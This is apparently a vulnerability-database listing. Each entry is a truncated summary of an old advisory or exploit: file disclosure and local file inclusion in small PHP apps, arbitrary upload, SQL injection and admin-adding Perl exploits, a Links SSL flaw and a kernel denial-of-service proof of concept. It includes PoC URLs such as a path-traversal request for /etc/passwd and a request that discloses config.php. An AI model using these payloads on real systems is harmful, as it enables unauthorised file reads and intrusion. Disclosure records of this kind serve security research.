Links SSL证书验证漏洞

BUGTRAQ ID: 33108 Links是一款图形和文本模式的web浏览器。 Links浏览器没有验证所接收到的证书，即使用户访问的网页证书已过期、未经可信任的CA签名、或证书的主机名错误，也不会出现任何警告信息。这有助于攻击者扮演为可信任的网站，执行中间人攻击。 0 Twibright Labs Links 2.2 厂商补丁： Twibright Labs -------------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： a href=http://links.twibright.com/ target=blank...

FreeLyrics 1.0 File Disclosure

Piker FreeLyrics Remote Source Code Disclosure Vulnerability Affected software: FreeLyrics Vendor: http://lyrics.sourceforge.net/ Risk: Medium http://target/path/source.php?p=FILE PoC: http://target/path/source.php?p=config.php Found by Piker piker0x90atgmaildotcom D.O.M Labs - Security Researche...

BLOG 1.55B File Upload

Piker BLOG v1.55B Arbitrary File Upload Vulnerability Affected software: BLOG v1.55B prior versions can be affected Vendor: http://sourceforge.net/projects/kafooeyblog/ Risk: High http://target/path/lib/imageupload.php This script only checks if the file you are uploading is not a text/plain file...

MyPHPsite Local File Inclusion

Piker MyPHPSite Local File Inclusion Vulnerability Affected software: MyPHPSite Vendor: www.myphpsite.org Risk: Medium http://target/path/index.php?mod=LFI%00 PoC: http://target/path/index.php?mod=../../../../../../etc/passwd%00 Found by Piker piker0x90atgmaildotcom D.O.M Labs - Security...

BLOG 1.55B (image_upload.php) Arbitrary File Upload Vulnerability

No description provided by source. Piker BLOG v1.55B Arbitrary File Upload Vulnerability Affected software: BLOG v1.55B prior versions can be affected Vendor: http://sourceforge.net/projects/kafooeyblog/ Risk: High http://target/path/lib/imageupload.php This script only checks if the file you are...

BLOG 1.55B - 'image_upload.php' Arbitrary File Upload

Piker BLOG v1.55B Arbitrary File Upload Vulnerability Affected software: BLOG v1.55B prior versions can be affected Vendor: http://sourceforge.net/projects/kafooeyblog/ Risk: High http://target/path/lib/imageupload.php This script only checks if the file you are uploading is not a text/plain file...

FreeLyrics 1.0 (source.php p) Remote File Disclosure Vulnerability

No description provided by source. Piker FreeLyrics Remote Source Code Disclosure Vulnerability Affected software: FreeLyrics Vendor: http://lyrics.sourceforge.net/ Risk: Medium http://target/path/source.php?p=FILE PoC: http://target/path/source.php?p=config.php Found by Piker...

FreeLyrics 1.0 - Remote File Disclosure

Piker FreeLyrics Remote Source Code Disclosure Vulnerability Affected software: FreeLyrics Vendor: http://lyrics.sourceforge.net/ Risk: Medium http://target/path/source.php?p=FILE PoC: http://target/path/source.php?p=config.php Found by Piker piker0x90atgmaildotcom D.O.M Labs - Security Researche...

FreeLyrics 1.0 - Remote File Disclosure

FreeLyrics 1.0 - Remote File Disclosure Piker FreeLyrics Remote Source Code Disclosure Vulnerability Affected software: FreeLyrics Vendor: http://lyrics.sourceforge.net/ Risk: Medium http://target/path/source.php?p=FILE PoC: http://target/path/source.php?p=config.php Found by Piker...

MyPHPsite (index.php mod) Local File Inclusion Vulnerability

No description provided by source. Piker MyPHPSite Local File Inclusion Vulnerability Affected software: MyPHPSite Vendor: www.myphpsite.org Risk: Medium http://target/path/index.php?mod=LFI%00 PoC: http://target/path/index.php?mod=../../../../../../etc/passwd%00 Found by Piker...

MyPHPsite - Local File Inclusion

Piker MyPHPSite Local File Inclusion Vulnerability Affected software: MyPHPSite Vendor: www.myphpsite.org Risk: Medium http://target/path/index.php?mod=LFI%00 PoC: http://target/path/index.php?mod=../../../../../../etc/passwd%00 Found by Piker piker0x90atgmaildotcom D.O.M Labs - Security...

MyPHPsite - Local File Inclusion

MyPHPsite - Local File Inclusion Piker MyPHPSite Local File Inclusion Vulnerability Affected software: MyPHPSite Vendor: www.myphpsite.org Risk: Medium http://target/path/index.php?mod=LFI%00 PoC: http://target/path/index.php?mod=../../../../../../etc/passwd%00 Found by Piker piker0x90atgmaildotc...

FLDS 1.2a report.php (linkida) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQL Injection Exploit written by ka0x ka0x01alt+64gmail.com D.O.M Labs Security Researchers - www.domlabs.org - Vuln code report.php: if$COOKIE'logged'=="" ... // login else $linkida = $GET'linkid';...

FLDS 1.2a - report.php SQL Injection

FLDS 1.2a - report.php SQL Injection !/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQL Injection Exploit written by ka0x D.O.M Labs Security Researchers - www.domlabs.org - Vuln code report.php: if$COOKIE'logged'=="" ... // login else $linkida = $GET'linkid'; $linkinfo =...

Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability

No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- / Script: Rianxosencabos / Version: 0.9 / File affected:...

Rianxosencabos CMS 0.9 - Blind SQL Injection

Rianxosencabos CMS 0.9 - Blind SQL Injection -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- / Script: Rianxosencabos / Version: 0.9 / File affected:...

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

No description provided by source. !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x ka0x01 at gmail dot com D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login,...

Rianxosencabos CMS 0.9 - Remote Add Admin

Rianxosencabos CMS 0.9 - Remote Add Admin !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail,...

UTF-8 URL stack buffer overflow — Mozilla

Justin Schuh and Tom Cross of the IBM X-Force and Peter Williams of IBM Watson Labs reported errors in Mozilla URL parsing routines. These errors could be exploited using a specially crafted UTF-8 URL in a hyperlink which could overflow a stack buffer and allow an attacker to execute arbitrary co...

DESlock+ 3.2.7 - probe read Local Kernel Denial of Service (PoC)

DESlock+ 3.2.7 - probe read Local Kernel Denial of Service PoC / deslock-probe-read.c Copyright c 2008 by DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int reqnum; void argARGSIZE0x20; ;...